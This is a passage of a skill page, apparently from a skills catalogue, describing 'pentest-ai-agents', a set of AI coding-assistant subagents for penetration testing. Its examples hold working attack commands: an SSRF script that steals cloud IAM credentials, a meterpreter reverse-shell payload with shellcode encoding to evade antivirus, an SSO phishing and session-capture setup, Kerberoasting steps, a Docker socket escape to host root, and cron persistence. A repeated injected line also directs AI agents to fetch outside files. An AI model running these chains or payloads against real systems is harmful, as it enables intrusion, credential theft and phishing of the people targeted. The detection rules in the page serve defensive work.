AWS/Azure/GCP)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Chains: SSRF to 169.254.169.254 → IAM role credentials → S3 bucket access → RCE via Lambda","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Provides POC code:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"python"},"content":[{"text":"import requests\nurl = \"https://target.com/admin/debug?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\nroles = requests.get(url).text.split('\\n')\ncreds = requests.get(f\"{url}{roles[0]}\").json()\nprint(creds['AccessKeyId'], creds['SecretAccessKey'], creds['Token'])","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Payload Crafting and Evasion","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"\"Generate a Windows reverse shell payload for 10.10.10.50:443, encode it to evade AV, and convert to shellcode for process injection.\"","type":"text"}]},{"type":"paragraph","content":[{"text":"payload-crafter","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Stage 1: Generate payload\nmsfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.10.50 LPORT=443 -f exe -o payload.exe\n\n# Stage 2: Convert to shellcode with Donut\ndonut -a 2 -f 1 payload.exe -o payload.bin\n\n# Stage 3: Encode shellcode (XOR + base64)\npython3 \u003c\u003c 'EOF'\nwith open('payload.bin', 'rb') as f:\n sc = f.read()\nxor_sc = bytes([b ^ 0xAA for b in sc])\nimport base64\nprint(base64.b64encode(xor_sc).decode())\nEOF\n\n# Stage 4: Inject via process hollowing (C# template provided)","type":"text"}]},{"type":"paragraph","content":[{"text":"Includes AMSI bypass snippets and ETW patching patterns.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Detection Engineering","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"\"We just tested Kerberoasting against SVC_SQL. Build Sigma and Splunk detection rules.\"","type":"text"}]},{"type":"paragraph","content":[{"text":"detection-engineer","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"yaml"},"content":[{"text":"# Sigma rule (kerberoasting.yml)\ntitle: Kerberoasting TGS Request\nstatus: experimental\nlogsource:\n product: windows\n service: security\ndetection:\n selection:\n EventID: 4769\n TicketOptions: '0x40810000'\n ServiceName|endswith: '

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

\n filter:\n ServiceName|startswith: 'krbtgt'\n condition: selection and not filter\nfalsepositives:\n - Legitimate service account access\nlevel: medium\ntags:\n - attack.credential_access\n - attack.t1558.003","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"spl"},"content":[{"text":"# Splunk SPL\nindex=windows EventCode=4769 Ticket_Options=0x40810000 Service_Name=*$ NOT Service_Name=krbtgt*\n| stats count by src_ip, Account_Name, Service_Name\n| where count > 5","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Reverse Engineering Firmware","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"\"Analyze router-firmware.bin and extract the encryption keys.\"","type":"text"}]},{"type":"paragraph","content":[{"text":"reverse-engineer","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Extract filesystem\nbinwalk -e router-firmware.bin\n\n# Identify architecture\nfile _router-firmware.bin.extracted/squashfs-root/bin/httpd\n# Output: ELF 32-bit LSB MIPS\n\n# Load into Ghidra (headless mode)\nanalyzeHeadless /tmp/ghidra_project router_fw -import _router-firmware.bin.extracted/squashfs-root/bin/httpd -postScript FindCryptoKeys.java\n\n# Search for hardcoded keys\nstrings -n 16 httpd | grep -E '^[A-Fa-f0-9]{32,}

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

","type":"text"}]},{"type":"paragraph","content":[{"text":"Provides Ghidra Python scripts for automated key extraction from common crypto libraries (OpenSSL, mbedTLS).","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Phishing Campaign Setup","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"\"Set up a phishing campaign for acme-corp.com employees. Clone their SSO login page and capture credentials with session cookies.\"","type":"text"}]},{"type":"paragraph","content":[{"text":"phishing-operator","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# 1. Register lookalike domain\n# Manual: acme-sso.com (or use dnstwist suggestions)\ndnstwist acme-corp.com --registered | head -10\n\n# 2. Clone SSO page\nwget --mirror --convert-links --adjust-extension --page-requisites --no-parent https://sso.acme-corp.com/login\n\n# 3. Deploy Evilginx\nevilginx2 -p ./phishlets\n# Configure phishlet for acme-corp SSO (example phishlet config provided)\n\n# 4. Track campaign in GoPhish\n# Import targets, attach cloned template, set sending profile","type":"text"}]},{"type":"paragraph","content":[{"text":"Includes SMTP relay setup, domain reputation warming, and email header crafting to evade SPF/DKIM/DMARC.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"CTF Challenges","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"\"Solve this CTF crypto challenge: ciphertext is 'Xq3mK9...' and we have a PCAP with TLS handshake.\"","type":"text"}]},{"type":"paragraph","content":[{"text":"ctf-solver","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Identifies cipher type (frequency analysis suggests substitution)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Tries automated solvers: ","type":"text"},{"text":"dcode.fr substitution","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"quipqiup","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Extracts TLS pre-master secret from PCAP via Wireshark","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Decrypts TLS stream:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"tshark -r capture.pcap -o tls.keylog_file:sslkeylog.txt -Y http -T fields -e http.file_data","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Covers crypto, steganography (zsteg, steghide), forensics, binary exploitation, web challenges.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Underlying Tools","type":"text"}]},{"type":"paragraph","content":[{"text":"Agents drive these tools (installable via ","type":"text"},{"text":"install.sh --tools","type":"text","marks":[{"type":"code_inline"}]},{"text":"):","type":"text"}]},{"type":"paragraph","content":[{"text":"Recon","type":"text","marks":[{"type":"strong"}]},{"text":": nmap, masscan, rustscan, subfinder, amass, httpx, theHarvester, sherlock, holehe, maigret","type":"text"},{"type":"br"},{"text":"Web","type":"text","marks":[{"type":"strong"}]},{"text":": ffuf, gobuster, feroxbuster, sqlmap, dalfox, Commix, dirsearch, whatweb","type":"text"},{"type":"br"},{"text":"Vulnerability","type":"text","marks":[{"type":"strong"}]},{"text":": nuclei, nikto, nmap NSE, RouterSploit","type":"text"},{"type":"br"},{"text":"AD","type":"text","marks":[{"type":"strong"}]},{"text":": BloodHound, Impacket, NetExec, Certipy, kerbrute, Responder","type":"text"},{"type":"br"},{"text":"Credentials","type":"text","marks":[{"type":"strong"}]},{"text":": Hydra, Hashcat, John, cupp, CeWL, Crunch, hashid, haiti","type":"text"},{"type":"br"},{"text":"Cloud","type":"text","marks":[{"type":"strong"}]},{"text":": aws-cli, azure-cli, gcloud, Trivy, Prowler, ScoutSuite, Pacu","type":"text"},{"type":"br"},{"text":"Containers","type":"text","marks":[{"type":"strong"}]},{"text":": kubectl, kube-hunter, peirates, CDK","type":"text"},{"type":"br"},{"text":"C2","type":"text","marks":[{"type":"strong"}]},{"text":": Sliver, Mythic, Havoc, Cobalt Strike","type":"text"},{"type":"br"},{"text":"LLM","type":"text","marks":[{"type":"strong"}]},{"text":": Garak, PyRIT, Promptfoo","type":"text"},{"type":"br"},{"text":"Mobile","type":"text","marks":[{"type":"strong"}]},{"text":": Frida, Objection, jadx, apktool, MobSF","type":"text"},{"type":"br"},{"text":"Wireless","type":"text","marks":[{"type":"strong"}]},{"text":": aircrack-ng, hcxdumptool, bettercap","type":"text"},{"type":"br"},{"text":"Social","type":"text","marks":[{"type":"strong"}]},{"text":": GoPhish, Evilginx, dnstwist","type":"text"},{"type":"br"},{"text":"Payloads","type":"text","marks":[{"type":"strong"}]},{"text":": msfvenom, Donut","type":"text"},{"type":"br"},{"text":"RE","type":"text","marks":[{"type":"strong"}]},{"text":": Ghidra, Radare2, Binwalk, dnSpy","type":"text"},{"type":"br"},{"text":"Forensics","type":"text","marks":[{"type":"strong"}]},{"text":": Volatility 3, exiftool, YARA, Wireshark","type":"text"}]},{"type":"paragraph","content":[{"text":"Run ","type":"text"},{"text":"bash db/doctor.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":" to audit installed tools.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Token Optimization","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Model Selection","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Use Haiku for advisory agents (engagement-planner, exploit-guide, detection-engineer)\n./install.sh --global --lite\n\n# Or set manually:\nexport PENTEST_TIER1_MODEL=\"claude-3-5-haiku-20241022\"\nexport PENTEST_TIER2_MODEL=\"claude-3-7-sonnet-20250219\"","type":"text"}]},{"type":"paragraph","content":[{"text":"Cost comparison","type":"text","marks":[{"type":"strong"}]},{"text":" (per 1M tokens input):","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Haiku: $0.80","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Sonnet: $3.00","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Tier 1 agents handle ~80% of interactions (planning, analysis, recommendations). Using Haiku for Tier 1 cuts costs by ~60% with minimal quality impact.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Context Management","type":"text"}]},{"type":"paragraph","content":[{"text":"Agents use structured tool output parsing to minimize repeated context:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Instead of pasting full nmap XML into chat:\nfindings.sh import --file acme-scan.xml\n\n# Agent queries SQLite directly:\nSELECT host, port, service, version FROM scan_results WHERE severity='critical';","type":"text"}]},{"type":"paragraph","content":[{"text":"Reduces token usage by 10-50× for large scan outputs.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Local Models (Experimental)","type":"text"}]},{"type":"paragraph","content":[{"text":"Run agents with local models via Ollama:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Install Ollama\ncurl -fsSL https://ollama.com/install.sh | sh\n\n# Pull model\nollama pull mixtral:8x7b\n\n# Configure pentest-ai-agents\nexport PENTEST_LOCAL_MODEL=\"mixtral:8x7b\"\nexport ANTHROPIC_API_KEY=\"\" # Disable cloud models","type":"text"}]},{"type":"paragraph","content":[{"text":"Tested models","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"mixtral:8x7b","type":"text","marks":[{"type":"code_inline"}]},{"text":": Good for Tier 1 advisory agents","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"llama3:70b","type":"text","marks":[{"type":"code_inline"}]},{"text":": Comparable to Haiku for planning/analysis","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"codellama:34b","type":"text","marks":[{"type":"code_inline"}]},{"text":": Decent for exploit POC generation","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Limitations","type":"text","marks":[{"type":"strong"}]},{"text":": Local models struggle with complex exploit chaining and detection rule generation. Recommend hybrid mode: local for Tier 1, Claude Sonnet for Tier 2.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Troubleshooting","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Agent Not Routing","type":"text"}]},{"type":"paragraph","content":[{"text":"Symptom","type":"text","marks":[{"type":"strong"}]},{"text":": Claude doesn't invoke the right agent for your task.","type":"text"}]},{"type":"paragraph","content":[{"text":"Fix","type":"text","marks":[{"type":"strong"}]},{"text":": Be more explicit in task description:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Vague\n\"Help with Active Directory\"\n\n# Specific\n\"I have a domain user. Analyze BloodHound data and recommend Kerberoasting attacks.\"","type":"text"}]},{"type":"paragraph","content":[{"text":"Or use slash commands:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"/recommend \"domain user to domain admin in AD environment\"","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Tools Not Found","type":"text"}]},{"type":"paragraph","content":[{"text":"Symptom","type":"text","marks":[{"type":"strong"}]},{"text":": Agent recommends command, but tool isn't installed.","type":"text"}]},{"type":"paragraph","content":[{"text":"Fix","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Audit missing tools\nbash db/doctor.sh\n\n# Install missing tools\n./install.sh --tools\n\n# Or install specific tool manually:\nsudo apt install nmap\npipx install bloodhound","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Scope Refusal","type":"text"}]},{"type":"paragraph","content":[{"text":"Symptom","type":"text","marks":[{"type":"strong"}]},{"text":": Tier 2 agent refuses to run commands: \"No engagement scope declared.\"","type":"text"}]},{"type":"paragraph","content":[{"text":"Fix","type":"text","marks":[{"type":"strong"}]},{"text":": Declare scope first:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"\"Engagement scope: 10.10.10.0/24, testlab.local, authorized by Alice \[email protected]>, 2026-05-01 to 2026-05-31\"","type":"text"}]},{"type":"paragraph","content":[{"text":"Include: IP ranges, domains, authorizing party, time window.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Findings Database Locked","type":"text"}]},{"type":"paragraph","content":[{"text":"Symptom","type":"text","marks":[{"type":"strong"}]},{"text":": ","type":"text"},{"text":"database is locked","type":"text","marks":[{"type":"code_inline"}]},{"text":" error when adding findings.","type":"text"}]},{"type":"paragraph","content":[{"text":"Fix","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Close any open findings.sh processes\npkill -f findings.sh\n\n# Or use WAL mode (write-ahead logging):\nsqlite3 ~/.pentest/findings.db \"PRAGMA journal_mode=WAL;\"","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Out-of-Date Agent Knowledge","type":"text"}]},{"type":"paragraph","content":[{"text":"Symptom","type":"text","marks":[{"type":"strong"}]},{"text":": Agent recommends deprecated tool or technique.","type":"text"}]},{"type":"paragraph","content":[{"text":"Fix","type":"text","marks":[{"type":"strong"}]},{"text":": Update agents:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"cd pentest-ai-agents\ngit pull\n./install.sh --global","type":"text"}]},{"type":"paragraph","content":[{"text":"Agents track tool updates via community feedback. File issues for outdated recommendations.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Real-World Examples","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Example 1: Full External Pentest Workflow","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Step 1: Plan engagement\n# In Claude Code:\n\"Plan a 2-week external pentest for acme-corp.com. No credentials. Focus on web, API, cloud.\"\n\n# engagement-planner produces timeline, ROE, tool list\n\n# Step 2: OSINT recon\n\"Run OSINT on acme-corp.com. Find subdomains, employee emails, leaked credentials.\"\n\n# osint-collector executes:\nsubfinder -d acme-corp.com -o subs.txt\namass enum -d acme-corp.com -o amass.txt\ntheHarvester -d acme-corp.com -b all -f harvest.json\n# Searches breach databases (dehashed, etc.)\n\n# Step 3: Vulnerability scanning\n\"Scan discovered hosts with nuclei for critical/high severity issues.\"\n\n# vuln-scanner:\nnuclei -l live-hosts.txt -severity critical,high -json -o nuclei.json\n\n# Step 4: Prioritize targets\n\"Analyze nuclei.json. Which hosts are most likely to give initial access?\"\n\n# recon-advisor:\n# 1. Parses JSON\n# 2. Identifies: SSRF in admin panel, outdated WordPress, exposed Git repo\n# 3. Recommends: \"Target admin.acme-corp.com/debug (SSRF) for cloud metadata access\"\n\n# Step 5: Exploit SSRF\n\"Exploit SSRF at admin.acme-corp.com/debug to access AWS metadata and pivot to S3.\"\n\n# exploit-chainer:\ncurl \"https://admin.acme-corp.com/debug?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n# Extracts AWS keys\naws s3 ls --profile stolen-creds\n# Finds sensitive data bucket\n\n# Step 6: Build detection\n\"Build Sigma and Splunk rules to detect SSRF to cloud metadata endpoints.\"\n\n# detection-engineer:\n# Produces Sigma rule + Splunk SPL + AWS CloudTrail query\n\n# Step 7: Report\n\"Generate executive summary and technical findings report.\"\n\n# report-generator:\n# Outputs Markdown with CVSS scores, remediation steps, attack timeline","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Example 2: AD Privilege Escalation from User to Domain Admin","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Starting point: domain user [email protected]\n\n# Step 1: Enumerate AD\n\"I have [email protected] credentials. Enumerate AD and find paths to Domain Admins.\"\n\n# ad-attacker:\nbloodhound-python -u alice -p 'Password123' -d corp.local -dc dc01.corp.local -c All --zip\n# Uploads to BloodHound GUI or parses JSON locally\n\n# Step 2: Identify attack path\n\"Analyze BloodHound data. What's the shortest path to DA?\"\n\n# ad-attacker:\n# Finds: alice → MemberOf → IT-Admins → GenericWrite → SVC_SQL → Kerberoastable → DA group\n\n# Step 3: Execute attack chain\n\"Execute the attack chain: GenericWrite to add SPN, Kerberoast SVC_SQL, crack hash.\"\n\n# ad-attacker:\n# 1. Add SPN to SVC_SQL (GenericWrite abuse)\npython3 addspn.py -u alice -p 'Password123' -t SVC_SQL -s HTTP/fake.corp.local corp.local/dc01\n\n# 2. Kerberoast\nGetUserSPNs.py corp.local/alice:Password123 -dc-ip dc01.corp.local -request -outputfile tgs.txt\n\n# 3. Crack\nhashcat -m 13100 tgs.txt rockyou.txt\n\n# 4. Validate DA access\nnetexec smb dc01.corp.local -u SVC_SQL -p 'CrackedPassword' --shares\n\n# Step 4: Build detection\n\"Build detection rules for GenericWrite SPN modification and Kerberoasting.\"\n\n# detection-engineer:\n# Sigma rule for Event ID 4742 (user object modified) + SPN change\n# Splunk correlation for 4742 → 4769 (TGS request) within 5 minutes","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Example 3: Container Escape to Host Root","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Starting point: Shell inside Docker container\n\n# Step 1: Assess container environment\n\"I have a shell in a Docker container. Assess escape vectors.\"\n\n# container-breakout:\n# Checks: privileged flag, host PID namespace, mounted /var/run/docker.sock, capabilities\n\n# Step 2: Exploit mounted docker.sock\n\"docker.sock is mounted. Exploit it to escape to host.\"\n\n# container-breakout:\ndocker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host /bin/bash\n# Now root on host\n\n# Step 3: Persistence\n\"Establish persistence on the host as root.\"\n\n# c2-operator:\n# Recommends: cron job, systemd service, SSH key injection\necho \"* * * * * root /tmp/.update.sh\" >> /host/etc/crontab\n\n# Step 4: Detection\n\"Build Falco rule to detect docker.sock abuse from containers.\"\n\n# detection-engineer:\n# Falco rule for container process accessing /var/run/docker.sock","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Legal and Ethical Use","type":"text"}]},{"type":"paragraph","content":[{"text":"Authorized testing only.","type":"text","marks":[{"type":"strong"}]},{"text":" All agents enforce scope guards:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Require explicit engagement scope (IP ranges, domains, authorization, dates)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Refuse out-of-scope actions","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Log all commands for audit trails","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Hard refusals","type":"text","marks":[{"type":"strong"}]},{"text":" for:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Denial of Service","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Mass internet scanning","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Unattended worm propagation","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"False-flag operations","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Safety-of-life systems (medical, ICS/SCADA)","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Users are responsible for obtaining proper authorization before testing. pentest-ai-agents is a research and education tool. Unauthorized testing is illegal.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Contributing","type":"text"}]},{"type":"paragraph","content":[{"text":"Contributions welcome:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"New agents (follow existing structure in ","type":"text"},{"text":"agents/","type":"text","marks":[{"type":"code_inline"}]},{"text":")","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Tool integrations (add to ","type":"text"},{"text":"db/tools.json","type":"text","marks":[{"type":"code_inline"}]},{"text":")","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Detection rules (expand ","type":"text"},{"text":"detection-engineer","type":"text","marks":[{"type":"code_inline"}]},{"text":" ruleset)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Bug fixes and documentation improvements","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"CONTRIBUTING.md","type":"text","marks":[{"type":"link","attrs":{"href":"https://github.com/0xSteph/pentest-ai-agents/blob/main/CONTRIBUTING.md","title":null}}]},{"text":" for guidelines.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Resources","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Documentation","type":"text","marks":[{"type":"link","attrs":{"href":"https://pentestai.xyz/","title":null}}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"INSTALL.md","type":"text","marks":[{"type":"link","attrs":{"href":"https://github.com/0xSteph/pentest-ai-agents/blob/main/INSTALL.md","title":null}}]},{"text":" - Detailed installation guide","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Agent Reference","type":"text","marks":[{"type":"link","attrs":{"href":"https://github.com/0xSteph/pentest-ai-agents/blob/main/docs/AGENTS.md","title":null}}]},{"text":" - Full agent descriptions","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Tool Matrix","type":"text","marks":[{"type":"link","attrs":{"href":"https://github.com/0xSteph/pentest-ai-agents/blob/main/docs/TOOLS.md","title":null}}]},{"text":" - Tool coverage by agent","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"GitHub Issues","type":"text","marks":[{"type":"link","attrs":{"href":"https://github.com/0xSteph/pentest-ai-agents/issues","title":null}}]},{"text":" - Report bugs, request features","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"License","type":"text"}]},{"type":"paragraph","content":[{"text":"MIT License - see ","type":"text"},{"text":"LICENSE","type":"text","marks":[{"type":"link","attrs":{"href":"https://github.com/0xSteph/pentest-ai-agents/blob/main/LICENSE","title":null}}]}]}]},"metadata":{"date":"2026-11-02","name":"pentest-ai-agents","author":"@skillopedia","source":{"stars":12,"repo_name":"security-skills","origin_url":"https://github.com/reason-machines/security-skills/blob/HEAD/skills/pentest-ai-agents/SKILL.md","repo_owner":"reason-machines","body_sha256":"8caf501093d02c28c6b8761e72e17517157d1576b757e31af931154a6741f98a","cluster_key":"78362a9236b6c64ef36149ff37ac782e2b5dd75dd6c9696243df94cb0b475057","clean_bundle":{"format":"clean-skill-bundle-v1","source":"reason-machines/security-skills/skills/pentest-ai-agents/SKILL.md","text_bytes":0,"source_commit":"1722e18788818fff1b0144132437936c2095971c","skills_sh_rank":10673,"attachment_count":0,"text_attachments":0,"attachment_storage":"skill_attachments","binary_attachments":0},"cluster_size":1,"skill_md_path":"skills/pentest-ai-agents/SKILL.md","import_metadata":{"date":"2026-11-02","author":"@skillopedia","version":"v1","category":"security","category_label":"Security"},"exact_dupes_collapsed_into_this":0},"version":"v1","category":"security","triggers":["plan a penetration test engagement","analyze nmap or bloodhound output","research exploits for this vulnerability","build detection rules for this attack","generate a penetration test report","help me with offensive security research","set up AI agents for pentesting","audit security compliance with STIG"],"import_tag":"skills-sh-top20k-2026-11","description":"Claude Code subagents for offensive security research, penetration testing planning, recon analysis, exploit research, detection engineering, and security reporting"}},"renderedAt":1793661784895}

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.